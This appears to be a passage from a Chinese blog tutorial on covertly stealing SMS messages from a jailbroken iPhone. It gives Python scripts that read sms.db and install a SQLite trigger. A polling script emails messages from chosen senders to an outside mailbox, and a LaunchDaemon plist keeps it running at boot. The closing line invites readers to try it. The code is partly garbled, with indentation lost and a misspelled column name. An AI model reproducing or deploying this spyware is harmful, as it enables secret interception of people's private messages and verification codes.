于是，我们可以使用strings命令查看一下这个文件里面的内容（strings命令在初步分析文件时很有用）

danimato–iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb

打开smsdb文件，可以看到短信message表结构，如下所示

CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER,association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT,country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB,madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER,madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT,madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER,is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)

我们可以使用python脚本smsDBQuer.py（注意：原脚本不支持中文，需要改变一下）来查询一下该表中的数据，如下所示输出未读短信数量及内容

#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib

smspath=“/var/mobile/Library/SMS/”

con = lite.connect(smspath+\’sms.db\’)
msg=“”

with con:
con.row_factory = lite.Row
cur = con.cursor()
cur.execute(\’SELECT text，adderss from message where read=0 order by date desc\’)
rows = cur.fetchall()
#data = cur.fetchone()
counter=0
print “Latest displayed first”
for row in rows:
counter+=1
print “Unread Message: %s” % counter

textencode = row[“text”].encode(\’gb2312\’)
print “Text: %s” % textencode

addressdecode = row[“address”].encode(\’gb2312\’)
print “Address: %s” % addressdecode
#print “Text: %s” % row[“text”]
msg=row[“text”]

我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下

danimato–iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py

danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py

运行结果如下：

1. smsCreateTrigger.py脚本

#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys

smspath=“/var/mobile/Library/SMS/”

con = lite.connect(smspath + \’sms.db\’)

with con:
con.row_factory = lite.Row
cur = con.cursor()

#cur.execute(\’DROP TABLE message2;\’)
#cur.execute(\’DROP TRIGGER insert_newest_message_email;\’)
cur.execute(\’CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);\’)
cur.execute(\’CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO “message2” select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;\’)
print \’Done.\’

我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下，修改执行权限，并运行

danimato–iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py

danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py 
Done.

该脚本的功能是当message表有记录增加时，将新增记录插入新创建的message2表中

#!/usr/bin/python
# smsread.py 
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib
import time

def sendEmail(msg):
fromaddr = \’abc@gmail.com\’
toaddrs = \’xyz@gmail.com\’

# Credentials 
username = \’abc\’
password = \’****\’

# The actual mail send snippet
server = smtplib.SMTP(\’smtp.gmail.com:587\’)
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()

#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#”address” is the column name.

smspath=“/var/mobile/Library/SMS/”
smsfromaddress=(\’AXARWINF\’,\’6564567890\’,)

#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval. 
#though it is not one of the efficient methods, considering the purpose of the script it was taken for granted

while 1==1:
#Connect to the database and read sms from \’message2\’ table.
con = lite.connect(smspath+\’sms.db\’)
with con:
con.row_factory = lite.Row
cur = con.cursor()
cur2 = con.cursor()
cur.execute(\’SELECT * from message2 where emailsent=0 and address=?\’,smsfromaddress)
rows = cur.fetchall()
for row in rows:
msg=\’Address is \’ + row[“address”] + \’ Text Message is \’ + row[“text”].encode(\’gb2312\’) 
sendEmail(msg)
ROWID = (row[“ROWID”],)
cur2.execute(\’UPDATE message2 SET emailsent=1 WHERE ROWID=?\’, ROWID)
con.commit()
time.sleep(60)
 

该脚本的功能是将messge2表中指定短信发送到指定邮箱中，我们需要修改脚本中用来接收SMS短信的邮箱相关信息

fromaddr = \’danqingdani@gmail.com\’ #发件人地址
toaddrs = \’335451997@qq.com\’ #收件人地址

username = \’danqingdani@gmail.com\’ #发件人邮箱名
password = \’****\’#发件人邮箱密码

server = smtplib.SMTP(\’smtp.gmail.com:587\’)#发件邮件服务器

smsfromaddress=(\’AXARWINF\’,\’6564567890\’,)#指定你想窃取的短信来自哪里

上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下，修改执行权限，并在后台运行

danimato–iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py 
danimato–iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
[1] 4819

danimato–iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.py

danimato–iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato–iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher

danimato–iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist 
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN”“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
<plist version=“1.0”>
<dict>
<key>Label</key>
<string>com.dani.smssteal</string>
<key>Program</key>
<string>/var/mobile/Library/SMS/smsWatcher</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

danimato–iPod:/System/Library/LaunchDaemons root# launchctl load/System/Library/LaunchDaemons/com.dani.smssteal.plist

有iPhone的朋友可以试一试，欢迎交流